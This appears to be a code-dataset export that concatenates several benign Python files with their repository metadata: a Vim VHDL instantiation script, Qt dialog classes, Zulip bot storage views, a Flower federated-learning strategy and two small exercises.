B00Ze/instVhdl

e359035dc6a17f82ae109571a8bf07760911b4ef

[ "BSD-3-Clause" ]

null

#!/usr/bin/python # ----------------------------------------------------------------------------- # Name: VHDL instantiation script # Purpose: Using with VIM # # Author: BooZe # # Created: 25.03.2013 # Copyright: (c) BooZe 2013 # Licence: BSD # ----------------------------------------------------------------------------- import re import sys if __name__ == "__main__": command_line_interface(sys.argv)

33.77931

79

0.56717

#!/usr/bin/python # ----------------------------------------------------------------------------- # Name: VHDL instantiation script # Purpose: Using with VIM # # Author: BooZe # # Created: 25.03.2013 # Copyright: (c) BooZe 2013 # Licence: BSD # ----------------------------------------------------------------------------- import re import sys class port(object): def __init__(self, portName, portType): self.portName = portName self.portType = portType def getName(self): return self.portName def getType(self): return self.portType def setName(self, portName): self.portName = portName def setType(self, portType): self.portType = portType class genericPort(port): def __init__(self, portName, portType, defaultValue): port.__init__(self, portName, portType) self.defaultValue = defaultValue def getDefault(self): return self.defaultValue def setDefault(self, defaultValue): self.defaultValue = defaultValue class genericPortVHDL(genericPort): def __init__(self, portName, portType, defaultValue): genericPort.__init__(self, portName, portType, defaultValue) self.defaultValue = defaultValue def getStrAligned(self, nameMax): nameLen = len(self.getName()) strDefault = self.getDefault() if strDefault != "": strDefault = " := "+strDefault return [self.getName()+" "*(nameMax-nameLen)+" : "+self.getType() + strDefault+";"] def getStrList(self): return [self.getName()+" : "+self.getType()+";"] class inoutPort(port): def __init__(self, portName, portType, inoutType): port.__init__(self, portName, portType) self.inoutType = inoutType def getInout(self): return self.inoutType def setInout(self, inoutType): self.inoutType = inoutType class inoutPortVHDL(inoutPort): def __init__(self, portName, portType, inoutType): inoutPort.__init__(self, portName, portType, inoutType) self.inoutType = inoutType def getStrAligned(self, nameMax, inoutMax): nameLen = len(self.getName()) inoutLen = len(self.getInout()) return [self.getName()+" "*(nameMax-nameLen)+" : "+self.getInout() + " "*(inoutMax-inoutLen)+' '+self.getType()+";"] def getStrList(self): return [self.getName()+" : "+self.getType()+";"] class component(object): def __init__(self, name): self.name = name self.lib = "Default_lib" self.genericList = [] self.inoutList = [] self.portMaxLen = 0 self.inoutMaxLen = 0 def getName(self): return self.name def setName(self, name): self.name = name def getLib(self): return self.lib def setLib(self, lib): self.lib = lib def addGeneric(self, genericPort): strLen = len(genericPort.getName()) if strLen > self.portMaxLen: self.portMaxLen = strLen self.genericList.append(genericPort) def addGenericStr(self, portName, portType, defaultValue): tmp = genericPort(portName, portType, defaultValue) strLen = len(portName) if strLen > self.portMaxLen: self.portMaxLen = strLen self.genericList.append(tmp) def setGeneric(self, genericList): for inout in genericList: strNameLen = len(genericList.getName()) if strNameLen > self.portMaxLen: self.portMaxLen = strNameLen self.genericList = genericList def getGeneric(self): return self.genericList def addInoutStr(self, portName, portType, inoutType): strNameLen = len(portName) if strNameLen > self.portMaxLen: self.portMaxLen = strNameLen strInoutLen = len(inoutType) if strInoutLen > self.inoutMaxLen: self.inoutMaxLen = strInoutLen tmp = inoutPortVHDL(portName, portType, inoutType) self.inoutList.append(tmp) class componentVHDL(component): def addGenericStr(self, portName, portType, defaultValue): tmp = genericPortVHDL(portName, portType, defaultValue) strLen = len(portName) if strLen > self.portMaxLen: self.portMaxLen = strLen self.genericList.append(tmp) def getStrGeneric(self): listOut = [] if (self.genericList != []): listOut.append("\tgeneric (\n") for gen in self.getGeneric(): for strAl in gen.getStrAligned(self.portMaxLen): listOut.append("\t\t"+strAl+"\n") listOut[-1] = listOut[-1][:-2]+"\n" listOut.append("\t);\n") return listOut def getStrEntity(self): listOut = ["\tport (\n"] for port in self.inoutList: for strAl in port.getStrAligned(self.portMaxLen, self.inoutMaxLen): listOut.append("\t\t"+strAl+"\n") listOut[-1] = listOut[-1][:-2]+"\n" listOut.append("\t);\n") return listOut def getStrUse(self): return ["\tFOR ALL : "+self.getName()+" USE ENTITY "+self.getLib() + "."+self.getName()+";\n"] def getStrMap(self): strOut = ["\t"+self.getName()+"0 : "+self.getName()+"\n"] if self.genericList != []: strOut += ["\t\tgeneric map (\n"] for gen in self.genericList: genNameLen = len(gen.getName()) strOut += ["\t\t\t"+gen.getName() + " "*(self.portMaxLen-genNameLen) + " => "+gen.getName()+",\n"] strOut[-1] = strOut[-1][:-2]+"\n" strOut += ["\t\t)\n"] strOut += ["\t\tport map(\n"] for inout in self.inoutList: inoutNameLen = len(inout.getName()) strOut += ["\t\t\t"+inout.getName() + " "*(self.portMaxLen-inoutNameLen) + " => "+inout.getName()+",\n"] strOut[-1] = strOut[-1][:-2]+"\n" strOut += ["\t\t);\n"] return strOut def getStrLib(self): return ["LIBRARY "+self.getLib()+";\n"] def getStrComponent(self): strOut = ["component "+self.getName()+"\n"] strOut += self.getStrGeneric() strOut += self.getStrEntity() strOut += ["end component;\n"] for ind in range(len(strOut)): strOut[ind] = "\t"+strOut[ind] return strOut def parseLib(self, fileName): import os separator = os.path.sep if separator == '\\': separator = r'\\' libRe = separator + r"[\w]+_lib" + separator libName = re.compile(libRe, re.I) resLib = libName.search(fileName) if resLib is not None: self.setLib(resLib.group()[1:-1]) else: self.setLib("SomeLib") def parseGenerics(self, genericStr): openParPlace = genericStr.find("(") closeParPlace = genericStr.rfind(")") # Checking for empty generics list if (openParPlace == -1 or closeParPlace == -1): return genericContent = genericStr[openParPlace+1:closeParPlace] # Generic list creation genericList = genericContent.split(";") for gen in genericList: partLst = gen.split(":") # First - parameter name, second - type, last - default value if len(partLst) > 1: parName = partLst[0].strip(" ") parType = partLst[1].strip(" ") if len(partLst) == 3: parDefVal = partLst[2] # Removing = sign parDefVal = parDefVal.strip("=") parDefVal = parDefVal.strip(" ") else: parDefVal = "" self.addGenericStr(parName, parType, parDefVal) def parsePorts(self, portString): openParPlace = portString.find("(") closeParPlace = portString.rfind(")") # Checking for empty port list if (openParPlace == -1 or closeParPlace == -1): return genericContent = portString[openParPlace+1:closeParPlace] # Generic list creation genericList = genericContent.split(";") for gen in genericList: partLst = gen.split(":") # First - port name, second - type with inout type if len(partLst) > 1: portName = partLst[0].strip() typeWords = partLst[1].split() portInout = typeWords[0] portType = " ".join(typeWords[1:]) self.addInoutStr(portName, portType, portInout) def parseEntity(self, entityFile): entityStr = "" with open(entityFile, "r") as f: # Entity begining searching entNameRE = re.compile(r"(?<=entity)[ \t]+[\w]+[ \t]+(?=is)", re.I) entName = None line = None while (entName is None and line != ""): line = f.readline() entName = entNameRE.search(line) if entName is None: self.name = "someEnt" else: self.name = entName.group().strip() # Entity end searching entEndER = re.compile(r"\bend\b", re.I) entEnd = None while(entEnd is None and line != ""): line = f.readline() # Comment removing commentBeg = line.find("--") lineSearch = line[:commentBeg] entEnd = entEndER.search(lineSearch) if (entEnd is None): # Adding to entity string entityStr += lineSearch portRE = re.compile(r"\bport\b", re.I) entSplit = portRE.split(entityStr) # Parsing of generic and port list if (len(entSplit) == 2): self.parseGenerics(entSplit[0]) self.parsePorts(entSplit[1]) elif (len(entSplit) == 1): self.parsePorts(entSplit[0]) def parseFile(self, fileName): # Getting library self.parseLib(fileName) # Getting entity content self.parseEntity(fileName) class EntityInstantiator(): def __init__(self): self.libRe = re.compile(r"(?<=library)[\w \t]+", re.I) self.compRe = re.compile(r"end[\t ]+component", re.I) self.useRe = re.compile(r"USE[ \t]+ENTITY", re.I) self.archRe = re.compile(r"begin", re.I) self.libExist = False self.libLine = -1 self.archLine = -1 self.compLine = -1 self.useLine = -1 self._currBuffer = [] def parseSourceFile(self, sourceFileName): self.sourceInst = componentVHDL("") self.sourceInst.parseFile(sourceFileName) def parseTargetFile(self, destinationFileName): with open(destinationFileName, "r+") as buffFile: self._currBuffer = buffFile.readlines() for i in range(len(self._currBuffer)): line = self._currBuffer[i] resLib = self.libRe.search(line) if resLib is not None: self.libLine = i lib = resLib.group() lib = lib.strip() if lib.lower() == self.sourceInst.getLib().lower(): self.libExist = True resComp = self.compRe.search(line) if resComp is not None: self.compLine = i useComp = self.useRe.search(line) if useComp is not None: self.useLine = i resArch = self.archRe.match(line) if resArch is not None: self.archLine = i break def _mergeLibraryDeclaration(self): if (self.libLine >= 0) and not(self.libExist): self._mergeBuff += self._currBuffer[:self.libLine+1] self._mergeBuff += self.sourceInst.getStrLib() self.strPtr = self.libLine+1 def _mergeComponentDeclaration(self): if self.compLine >= 0: self._mergeBuff += self._currBuffer[self.strPtr:self.compLine+1] self._mergeBuff += self.sourceInst.getStrComponent() self.strPtr = self.compLine+1 elif self.archLine >= 0: self._mergeBuff += self._currBuffer[self.strPtr:self.archLine] self._mergeBuff += self.sourceInst.getStrComponent() self.strPtr = self.archLine def _mergeComponentMap(self): if self.useLine >= 0: self._mergeBuff += self._currBuffer[self.strPtr:self.useLine+1] self._mergeBuff += self.sourceInst.getStrUse() self.strPtr = self.useLine+1 elif self.archLine >= 0: self._mergeBuff += self._currBuffer[self.strPtr:self.archLine] self._mergeBuff += self.sourceInst.getStrUse() self.strPtr = self.archLine def _mergeBlockInstance(self, currLine): if currLine >= 0: self._mergeBuff += self._currBuffer[self.strPtr:currLine-1] self._mergeBuff += self.sourceInst.getStrMap() self.strPtr = currLine-1 def _mergeTargetTail(self): self._mergeBuff += self._currBuffer[self.strPtr:] def mergeSourceTarget(self, currLine): self._mergeBuff = [] self.strPtr = 0 self._mergeLibraryDeclaration() self._mergeComponentDeclaration() self._mergeComponentMap() self._mergeBlockInstance(currLine) self._mergeTargetTail() strOut = ''.join(self._mergeBuff) return strOut def instantiate(self, entityFileName, bufferFileName, currLine): self.parseSourceFile(entityFileName) self.parseTargetFile(bufferFileName) strOut = self.mergeSourceTarget(currLine) with open(bufferFileName, "rb+") as file: file.write(bytearray(strOut.encode('UTF-8'))) def instantiateEntityVHDL(entityFileName, bufferFileName, currLine): instantiator = EntityInstantiator() instantiator.instantiate(entityFileName, bufferFileName, currLine) def instantiateEntity(entityFileName, bufferFileName, currLine): if entityFileName[-4:] == '.vhd': instantiateEntityVHDL(entityFileName, bufferFileName, currLine) def command_line_interface(cmd_args): strUsing = """Usage of script: python instVHDL.py input_file output_file str_num """ if len(cmd_args) != 4: print(strUsing) sys.exit(2) instantiateEntity(cmd_args[1], cmd_args[2], int(cmd_args[3])) if __name__ == "__main__": command_line_interface(sys.argv)

12,634

45

1,570

27a4b454c13017dbad93e43670f4dc71e0bcd006

6,576

py

Python

napari_plot/_qt/qt_dialog.py

lukasz-migas/napari-1d

b0f081a8711ae941b3e4b5c58c3aea56bd0e3277

[ "BSD-3-Clause" ]

13

2021-08-27T23:01:09.000Z

2022-03-22T13:51:35.000Z

napari_plot/_qt/qt_dialog.py

lukasz-migas/napari-1d

b0f081a8711ae941b3e4b5c58c3aea56bd0e3277

[ "BSD-3-Clause" ]

71

2021-08-28T13:29:17.000Z

2022-03-28T21:22:12.000Z

napari_plot/_qt/qt_dialog.py

lukasz-migas/napari-1d

b0f081a8711ae941b3e4b5c58c3aea56bd0e3277

[ "BSD-3-Clause" ]

null

from qtpy.QtCore import QPoint, Qt from qtpy.QtGui import QCursor from qtpy.QtWidgets import QApplication, QDialog, QHBoxLayout, QLayout, QWidget from . import helpers as hp class QtDialog(QDialog): """Dialog base class""" _icons = None _main_layout = None def on_close(self): """Close window""" self.close() def _on_teardown(self): """Execute just before deletion""" def closeEvent(self, event): """Close event""" self._on_teardown() return super().closeEvent(event) def make_panel(self) -> QLayout: """Make panel""" ... def make_gui(self): """Make and arrange main panel""" # make panel layout = self.make_panel() if layout is None: raise ValueError("Expected layout") # pack element self.setLayout(layout) self._main_layout = layout def show_above_widget(self, widget: QWidget, show: bool = True, y_offset: int = 14): """Show popup dialog above the widget""" rect = widget.rect() pos = widget.mapToGlobal(QPoint(rect.left() + rect.width() / 2, rect.top())) sz_hint = self.size() pos -= QPoint(sz_hint.width() / 2, sz_hint.height() + y_offset) self.move(pos) if show: self.show() def show_above_mouse(self, show: bool = True): """Show popup dialog above the mouse cursor position.""" pos = QCursor().pos() # mouse position sz_hint = self.sizeHint() pos -= QPoint(sz_hint.width() / 2, sz_hint.height() + 14) self.move(pos) if show: self.show() def show_below_widget(self, widget: QWidget, show: bool = True, y_offset: int = 14): """Show popup dialog above the widget""" rect = widget.rect() pos = widget.mapToGlobal(QPoint(rect.left() + rect.width() / 2, rect.top())) sz_hint = self.size() pos -= QPoint(sz_hint.width() / 2, -y_offset) self.move(pos) if show: self.show() def show_below_mouse(self, show: bool = True): """Show popup dialog above the mouse cursor position.""" pos = QCursor().pos() # mouse position sz_hint = self.sizeHint() pos -= QPoint(sz_hint.width() / 2, -14) self.move(pos) if show: self.show() def show_right_of_widget(self, widget: QWidget, show: bool = True, x_offset: int = 14): """Show popup dialog above the widget""" rect = widget.rect() pos = widget.mapToGlobal(QPoint(rect.left() + rect.width() / 2, rect.top())) sz_hint = self.size() pos -= QPoint(-x_offset, sz_hint.height() / 4) self.move(pos) if show: self.show() def show_right_of_mouse(self, show: bool = True): """Show popup dialog on the right hand side of the mouse cursor position""" pos = QCursor().pos() # mouse position sz_hint = self.sizeHint() pos -= QPoint(-14, sz_hint.height() / 4) self.move(pos) if show: self.show() def show_left_of_widget(self, widget: QWidget, show: bool = True, x_offset: int = 14): """Show popup dialog above the widget""" rect = widget.rect() pos = widget.mapToGlobal(QPoint(rect.left(), rect.top())) sz_hint = self.size() pos -= QPoint(sz_hint.width() + 14, sz_hint.height() / 4) self.move(pos) if show: self.show() def show_left_of_mouse(self, show: bool = True): """Show popup dialog on the left hand side of the mouse cursor position""" pos = QCursor().pos() # mouse position sz_hint = self.sizeHint() pos -= QPoint(sz_hint.width() + 14, sz_hint.height() / 4) self.move(pos) if show: self.show() class QtFramelessPopup(QtDialog): """Frameless dialog""" # attributes used to move windows around _old_window_pos, _move_handle = None, None def _make_move_handle(self) -> QHBoxLayout: """Make handle button that helps move the window around""" self._move_handle = hp.make_qta_label( self, "move", tooltip="Click here and drag the mouse around to move the window.", ) self._move_handle.setCursor(Qt.PointingHandCursor) layout = QHBoxLayout() layout.addStretch(1) layout.addWidget(self._move_handle) return layout def mousePressEvent(self, event): """mouse press event""" super().mousePressEvent(event) # allow movement of the window when user uses right-click and the move handle button does not exist if event.button() == Qt.RightButton and self._move_handle is None: self._old_window_pos = event.x(), event.y() elif self._move_handle is None: self._old_window_pos = None elif self.childAt(event.pos()) == self._move_handle: self._old_window_pos = event.x(), event.y() def mouseMoveEvent(self, event): """Mouse move event - ensures its possible to move the window to new location""" super().mouseMoveEvent(event) if self._old_window_pos is not None: self.move( event.globalX() - self._old_window_pos[0], event.globalY() - self._old_window_pos[1], ) # noqa def mouseReleaseEvent(self, event): """mouse release event""" super().mouseReleaseEvent(event) self._old_window_pos = None class QtFramelessTool(QtFramelessPopup): """Frameless dialog that stays on top"""

33.55102

107

0.594891

from qtpy.QtCore import QPoint, Qt from qtpy.QtGui import QCursor from qtpy.QtWidgets import QApplication, QDialog, QHBoxLayout, QLayout, QWidget from . import helpers as hp class QtDialog(QDialog): """Dialog base class""" _icons = None _main_layout = None def __init__(self, parent=None, title: str = "Dialog"): QDialog.__init__(self, parent) self._parent = parent self.setWindowTitle(QApplication.translate(str(self), title, None, -1)) self.setAttribute(Qt.WA_DeleteOnClose) self.make_gui() def on_close(self): """Close window""" self.close() def _on_teardown(self): """Execute just before deletion""" def closeEvent(self, event): """Close event""" self._on_teardown() return super().closeEvent(event) def make_panel(self) -> QLayout: """Make panel""" ... def make_gui(self): """Make and arrange main panel""" # make panel layout = self.make_panel() if layout is None: raise ValueError("Expected layout") # pack element self.setLayout(layout) self._main_layout = layout def show_above_widget(self, widget: QWidget, show: bool = True, y_offset: int = 14): """Show popup dialog above the widget""" rect = widget.rect() pos = widget.mapToGlobal(QPoint(rect.left() + rect.width() / 2, rect.top())) sz_hint = self.size() pos -= QPoint(sz_hint.width() / 2, sz_hint.height() + y_offset) self.move(pos) if show: self.show() def show_above_mouse(self, show: bool = True): """Show popup dialog above the mouse cursor position.""" pos = QCursor().pos() # mouse position sz_hint = self.sizeHint() pos -= QPoint(sz_hint.width() / 2, sz_hint.height() + 14) self.move(pos) if show: self.show() def show_below_widget(self, widget: QWidget, show: bool = True, y_offset: int = 14): """Show popup dialog above the widget""" rect = widget.rect() pos = widget.mapToGlobal(QPoint(rect.left() + rect.width() / 2, rect.top())) sz_hint = self.size() pos -= QPoint(sz_hint.width() / 2, -y_offset) self.move(pos) if show: self.show() def show_below_mouse(self, show: bool = True): """Show popup dialog above the mouse cursor position.""" pos = QCursor().pos() # mouse position sz_hint = self.sizeHint() pos -= QPoint(sz_hint.width() / 2, -14) self.move(pos) if show: self.show() def show_right_of_widget(self, widget: QWidget, show: bool = True, x_offset: int = 14): """Show popup dialog above the widget""" rect = widget.rect() pos = widget.mapToGlobal(QPoint(rect.left() + rect.width() / 2, rect.top())) sz_hint = self.size() pos -= QPoint(-x_offset, sz_hint.height() / 4) self.move(pos) if show: self.show() def show_right_of_mouse(self, show: bool = True): """Show popup dialog on the right hand side of the mouse cursor position""" pos = QCursor().pos() # mouse position sz_hint = self.sizeHint() pos -= QPoint(-14, sz_hint.height() / 4) self.move(pos) if show: self.show() def show_left_of_widget(self, widget: QWidget, show: bool = True, x_offset: int = 14): """Show popup dialog above the widget""" rect = widget.rect() pos = widget.mapToGlobal(QPoint(rect.left(), rect.top())) sz_hint = self.size() pos -= QPoint(sz_hint.width() + 14, sz_hint.height() / 4) self.move(pos) if show: self.show() def show_left_of_mouse(self, show: bool = True): """Show popup dialog on the left hand side of the mouse cursor position""" pos = QCursor().pos() # mouse position sz_hint = self.sizeHint() pos -= QPoint(sz_hint.width() + 14, sz_hint.height() / 4) self.move(pos) if show: self.show() class QtFramelessPopup(QtDialog): """Frameless dialog""" # attributes used to move windows around _old_window_pos, _move_handle = None, None def __init__( self, parent, title="", position=None, flags=Qt.FramelessWindowHint | Qt.WindowStaysOnTopHint | Qt.Popup, ): super().__init__(parent, title) self.setAttribute(Qt.WA_DeleteOnClose) self.setAttribute(Qt.WA_ShowWithoutActivating) self.setWindowFlags(flags) if position is not None: self.move(position) def _make_move_handle(self) -> QHBoxLayout: """Make handle button that helps move the window around""" self._move_handle = hp.make_qta_label( self, "move", tooltip="Click here and drag the mouse around to move the window.", ) self._move_handle.setCursor(Qt.PointingHandCursor) layout = QHBoxLayout() layout.addStretch(1) layout.addWidget(self._move_handle) return layout def mousePressEvent(self, event): """mouse press event""" super().mousePressEvent(event) # allow movement of the window when user uses right-click and the move handle button does not exist if event.button() == Qt.RightButton and self._move_handle is None: self._old_window_pos = event.x(), event.y() elif self._move_handle is None: self._old_window_pos = None elif self.childAt(event.pos()) == self._move_handle: self._old_window_pos = event.x(), event.y() def mouseMoveEvent(self, event): """Mouse move event - ensures its possible to move the window to new location""" super().mouseMoveEvent(event) if self._old_window_pos is not None: self.move( event.globalX() - self._old_window_pos[0], event.globalY() - self._old_window_pos[1], ) # noqa def mouseReleaseEvent(self, event): """mouse release event""" super().mouseReleaseEvent(event) self._old_window_pos = None class QtFramelessTool(QtFramelessPopup): """Frameless dialog that stays on top""" def __init__( self, parent, title: str = "", position=None, flags=Qt.FramelessWindowHint | Qt.WindowStaysOnTopHint | Qt.Tool, ): super().__init__(parent, title, position, flags)

849

0

81

b5e71b4f7c95803d854afa2f0cfa1afffd4452f2

360

py

Python

HackerRank/python/list_compre.py

tuvshinot/algorithm-sorting-DS

784c2338fb92f9d2f4da6294f242563031a09c4c

[ "MIT" ]

null

HackerRank/python/list_compre.py

tuvshinot/algorithm-sorting-DS

784c2338fb92f9d2f4da6294f242563031a09c4c

[ "MIT" ]

null

HackerRank/python/list_compre.py

tuvshinot/algorithm-sorting-DS

784c2338fb92f9d2f4da6294f242563031a09c4c

[ "MIT" ]

null

x = 2 y = 2 n = 2 # ar = [] # p = 0 # for i in range ( x + 1 ) : # for j in range( y + 1): # if i+j != n: # ar.append([]) # ar[p] = [ i , j ] # p+=1 # print(ar) x = 2 y = 2 z = 2 n = 2 lst = [[i, j, k] for i in range(x + 1) for j in range(y + 1) for k in range(z + 1) if i + j + k != n] print(lst)

15.652174

101

0.361111

x = 2 y = 2 n = 2 # ar = [] # p = 0 # for i in range ( x + 1 ) : # for j in range( y + 1): # if i+j != n: # ar.append([]) # ar[p] = [ i , j ] # p+=1 # print(ar) x = 2 y = 2 z = 2 n = 2 lst = [[i, j, k] for i in range(x + 1) for j in range(y + 1) for k in range(z + 1) if i + j + k != n] print(lst)

0

9c13acfb96b6fa83f23e449c9539c2406f1c8a35

1,832

py

Python

zerver/views/storage.py

dumpmemory/zulip

496273ddbc567330a0022699d6d6eb5c646e5da5

[ "Apache-2.0" ]

4

2021-09-16T16:46:55.000Z

2022-02-06T13:00:21.000Z

zerver/views/storage.py

dumpmemory/zulip

496273ddbc567330a0022699d6d6eb5c646e5da5

[ "Apache-2.0" ]

null

zerver/views/storage.py

dumpmemory/zulip

496273ddbc567330a0022699d6d6eb5c646e5da5

[ "Apache-2.0" ]

1

2022-01-15T08:36:09.000Z

from typing import Dict, List, Optional from django.http import HttpRequest, HttpResponse from zerver.lib.bot_storage import ( StateError, get_bot_storage, get_keys_in_bot_storage, remove_bot_storage, set_bot_storage, ) from zerver.lib.exceptions import JsonableError from zerver.lib.request import REQ, has_request_variables from zerver.lib.response import json_success from zerver.lib.validator import check_dict, check_list, check_string from zerver.models import UserProfile @has_request_variables @has_request_variables @has_request_variables

30.533333

95

0.739629

from typing import Dict, List, Optional from django.http import HttpRequest, HttpResponse from zerver.lib.bot_storage import ( StateError, get_bot_storage, get_keys_in_bot_storage, remove_bot_storage, set_bot_storage, ) from zerver.lib.exceptions import JsonableError from zerver.lib.request import REQ, has_request_variables from zerver.lib.response import json_success from zerver.lib.validator import check_dict, check_list, check_string from zerver.models import UserProfile @has_request_variables def update_storage( request: HttpRequest, user_profile: UserProfile, storage: Dict[str, str] = REQ(json_validator=check_dict([], value_validator=check_string)), ) -> HttpResponse: try: set_bot_storage(user_profile, list(storage.items())) except StateError as e: # nocoverage raise JsonableError(str(e)) return json_success(request) @has_request_variables def get_storage( request: HttpRequest, user_profile: UserProfile, keys: Optional[List[str]] = REQ(json_validator=check_list(check_string), default=None), ) -> HttpResponse: if keys is None: keys = get_keys_in_bot_storage(user_profile) try: storage = {key: get_bot_storage(user_profile, key) for key in keys} except StateError as e: raise JsonableError(str(e)) return json_success(request, data={"storage": storage}) @has_request_variables def remove_storage( request: HttpRequest, user_profile: UserProfile, keys: Optional[List[str]] = REQ(json_validator=check_list(check_string), default=None), ) -> HttpResponse: if keys is None: keys = get_keys_in_bot_storage(user_profile) try: remove_bot_storage(user_profile, keys) except StateError as e: raise JsonableError(str(e)) return json_success(request)

1,190

0

66

bcaa254a65f77dc17282d3b1ab843091945002a6

3,147

py

Python

src/flower/strategy/default.py

sishtiaq/flower

e8d57941863dcd193d2c0f4989f3ece5136ce027

[ "Apache-2.0" ]

null

src/flower/strategy/default.py

sishtiaq/flower

e8d57941863dcd193d2c0f4989f3ece5136ce027

[ "Apache-2.0" ]

null

src/flower/strategy/default.py

sishtiaq/flower

e8d57941863dcd193d2c0f4989f3ece5136ce027

[ "Apache-2.0" ]

null

# Copyright 2020 Adap GmbH. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # ============================================================================== """Configurable strategy implementation.""" from typing import Callable, List, Optional, Tuple from flower.typing import Weights from .aggregate import aggregate, weighted_loss_avg from .strategy import Strategy class DefaultStrategy(Strategy): """Configurable default strategy.""" # pylint: disable-msg=too-many-arguments def __init__( self, fraction_fit: float = 0.1, fraction_eval: float = 0.1, min_fit_clients: int = 1, min_eval_clients: int = 1, min_available_clients: int = 1, eval_fn: Optional[Callable[[Weights], Optional[Tuple[float, float]]]] = None, ) -> None: """Constructor.""" super().__init__() self.min_fit_clients = min_fit_clients self.min_eval_clients = min_eval_clients self.fraction_fit = fraction_fit self.fraction_eval = fraction_eval self.min_available_clients = min_available_clients self.eval_fn = eval_fn def should_evaluate(self) -> bool: """Evaluate every round.""" return self.eval_fn is None def num_fit_clients(self, num_available_clients: int) -> Tuple[int, int]: """Use a fraction of available clients for training.""" num_clients = int(num_available_clients * self.fraction_fit) return max(num_clients, self.min_fit_clients), self.min_available_clients def num_evaluation_clients(self, num_available_clients: int) -> Tuple[int, int]: """Use a fraction of available clients for evaluation.""" num_clients = int(num_available_clients * self.fraction_eval) return max(num_clients, self.min_eval_clients), self.min_available_clients def evaluate(self, weights: Weights) -> Optional[Tuple[float, float]]: """Evaluate model weights using an evaluation function (if provided).""" if self.eval_fn is None: # No evaluation function provided return None return self.eval_fn(weights) def on_aggregate_fit( self, results: List[Tuple[Weights, int]], failures: List[BaseException] ) -> Optional[Weights]: """Aggregate fit results using weighted average (as in FedAvg).""" return aggregate(results) def on_aggregate_evaluate( self, results: List[Tuple[int, float]], failures: List[BaseException] ) -> Optional[float]: """Aggregate evaluation losses using weighted average.""" return weighted_loss_avg(results)

39.3375

85

0.6762

# Copyright 2020 Adap GmbH. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # ============================================================================== """Configurable strategy implementation.""" from typing import Callable, List, Optional, Tuple from flower.typing import Weights from .aggregate import aggregate, weighted_loss_avg from .strategy import Strategy class DefaultStrategy(Strategy): """Configurable default strategy.""" # pylint: disable-msg=too-many-arguments def __init__( self, fraction_fit: float = 0.1, fraction_eval: float = 0.1, min_fit_clients: int = 1, min_eval_clients: int = 1, min_available_clients: int = 1, eval_fn: Optional[Callable[[Weights], Optional[Tuple[float, float]]]] = None, ) -> None: """Constructor.""" super().__init__() self.min_fit_clients = min_fit_clients self.min_eval_clients = min_eval_clients self.fraction_fit = fraction_fit self.fraction_eval = fraction_eval self.min_available_clients = min_available_clients self.eval_fn = eval_fn def should_evaluate(self) -> bool: """Evaluate every round.""" return self.eval_fn is None def num_fit_clients(self, num_available_clients: int) -> Tuple[int, int]: """Use a fraction of available clients for training.""" num_clients = int(num_available_clients * self.fraction_fit) return max(num_clients, self.min_fit_clients), self.min_available_clients def num_evaluation_clients(self, num_available_clients: int) -> Tuple[int, int]: """Use a fraction of available clients for evaluation.""" num_clients = int(num_available_clients * self.fraction_eval) return max(num_clients, self.min_eval_clients), self.min_available_clients def evaluate(self, weights: Weights) -> Optional[Tuple[float, float]]: """Evaluate model weights using an evaluation function (if provided).""" if self.eval_fn is None: # No evaluation function provided return None return self.eval_fn(weights) def on_aggregate_fit( self, results: List[Tuple[Weights, int]], failures: List[BaseException] ) -> Optional[Weights]: """Aggregate fit results using weighted average (as in FedAvg).""" return aggregate(results) def on_aggregate_evaluate( self, results: List[Tuple[int, float]], failures: List[BaseException] ) -> Optional[float]: """Aggregate evaluation losses using weighted average.""" return weighted_loss_avg(results)

0

56c5e848525e61dd3c7e758898d25b65e43c59ba

603

py

Python

ex066.py

EduotavioFonseca/ProgramasPython

8e0ef5f6f4239d1fe52321f8795b6573f6ff5130

[ "MIT" ]

null

ex066.py

EduotavioFonseca/ProgramasPython

8e0ef5f6f4239d1fe52321f8795b6573f6ff5130

[ "MIT" ]

null

ex066.py

EduotavioFonseca/ProgramasPython

8e0ef5f6f4239d1fe52321f8795b6573f6ff5130

[ "MIT" ]

null

# Tabela do Brasileirão times = ('Internacional', 'São Paulo', 'Flamengo', 'Atlético-MG', 'Palmeiras', 'Grêmio', 'Fluminense', 'Ceará', 'Santos', 'Corinthians', 'Bragantino', 'Athletico', 'Atlético-GO', 'Sport', 'Vasco', 'Fortaleza', 'Bahia', 'Goiás', 'Coritiba', 'Botafogo') while True: print() print(f'Os 5 primeiros colocados são: {times[0:5]}') print() print(f'Os 4 últimos colocados são: {times[16:]}') print() print(f'Times: {sorted(times)}') print() print(f'O Bragantino está na posição: {times.index("Bragantino")+1}') break

37.6875

116

0.60199

# Tabela do Brasileirão times = ('Internacional', 'São Paulo', 'Flamengo', 'Atlético-MG', 'Palmeiras', 'Grêmio', 'Fluminense', 'Ceará', 'Santos', 'Corinthians', 'Bragantino', 'Athletico', 'Atlético-GO', 'Sport', 'Vasco', 'Fortaleza', 'Bahia', 'Goiás', 'Coritiba', 'Botafogo') while True: print() print(f'Os 5 primeiros colocados são: {times[0:5]}') print() print(f'Os 4 últimos colocados são: {times[16:]}') print() print(f'Times: {sorted(times)}') print() print(f'O Bragantino está na posição: {times.index("Bragantino")+1}') break

0

aea92b50d275d2897a488416691716c9140ee10a

6,979

py

Python

keg/config.py

level12/keg

6f148a9bd0b8e167007ed5c2a0000daf7de3aee2

[ "BSD-3-Clause" ]

15

2015-06-26T09:01:53.000Z

2020-08-28T16:29:14.000Z

keg/config.py

level12/keg

6f148a9bd0b8e167007ed5c2a0000daf7de3aee2

[ "BSD-3-Clause" ]

165

2015-03-27T06:49:38.000Z

2022-03-11T21:39:52.000Z

keg/config.py

level12/keg

6f148a9bd0b8e167007ed5c2a0000daf7de3aee2

[ "BSD-3-Clause" ]

9

2015-04-22T17:03:32.000Z

2018-06-25T17:48:15.000Z

